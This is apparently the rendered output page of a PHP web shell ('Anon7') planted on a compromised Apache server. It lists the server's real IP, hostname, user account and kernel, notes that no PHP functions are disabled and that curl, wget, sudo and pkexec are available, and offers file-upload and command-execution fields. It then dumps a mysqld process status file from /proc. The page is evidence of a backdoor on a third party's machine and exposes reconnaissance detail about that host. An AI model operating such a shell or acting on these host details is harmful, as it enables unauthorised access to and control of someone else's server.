SCDNG PELER
Server IP : 162.241.126.129  /  Your IP : 18.118.33.130
Web Server : Apache
System : Linux 162-241-126-129.cprapid.com 4.18.0-477.27.2.el8_8.x86_64 #1 SMP Fri Sep 29 08:21:01 EDT 2023 x86_64
User : rvway5nu4 ( 1018)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/self/root/proc/2308021/task/2308426/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /proc/self/root/proc/2308021/task/2308426//status
Name:	mysqld
Umask:	0026
State:	S (sleeping)
Tgid:	2308021
Ngid:	0
Pid:	2308426
PPid:	1
TracerPid:	0
Uid:	27	27	27	27
Gid:	27	27	27	27
FDSize:	4096
Groups:	27 
NStgid:	2308021
NSpid:	2308426
NSpgid:	2308021
NSsid:	2308021
VmPeak:	 2372944 kB
VmSize:	 2127028 kB
VmLck:	       0 kB
VmPin:	       0 kB
VmHWM:	  658908 kB
VmRSS:	  566976 kB
RssAnon:	  553432 kB
RssFile:	   13544 kB
RssShmem:	       0 kB
VmData:	  947164 kB
VmStk:	     132 kB
VmExe:	   40488 kB
VmLib:	     804 kB
VmPTE:	    1560 kB
VmSwap:	       0 kB
HugetlbPages:	       0 kB
CoreDumping:	0
THP_enabled:	1
Threads:	42
SigQ:	0/22532
SigPnd:	0000000000000000
ShdPnd:	0000000000000000
SigBlk:	0000000000084a07
SigIgn:	0000000000001000
SigCgt:	00000001800024e8
CapInh:	0000000000000000
CapPrm:	0000000000000000
CapEff:	0000000000000000
CapBnd:	000001ffffffffff
CapAmb:	0000000000000000
NoNewPrivs:	0
Seccomp:	0
Speculation_Store_Bypass:	thread vulnerable
Cpus_allowed:	7
Cpus_allowed_list:	0-2
Mems_allowed:	00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000001
Mems_allowed_list:	0
voluntary_ctxt_switches:	13837987
nonvoluntary_ctxt_switches:	26498

Anon7 - 2022
SCDN GOK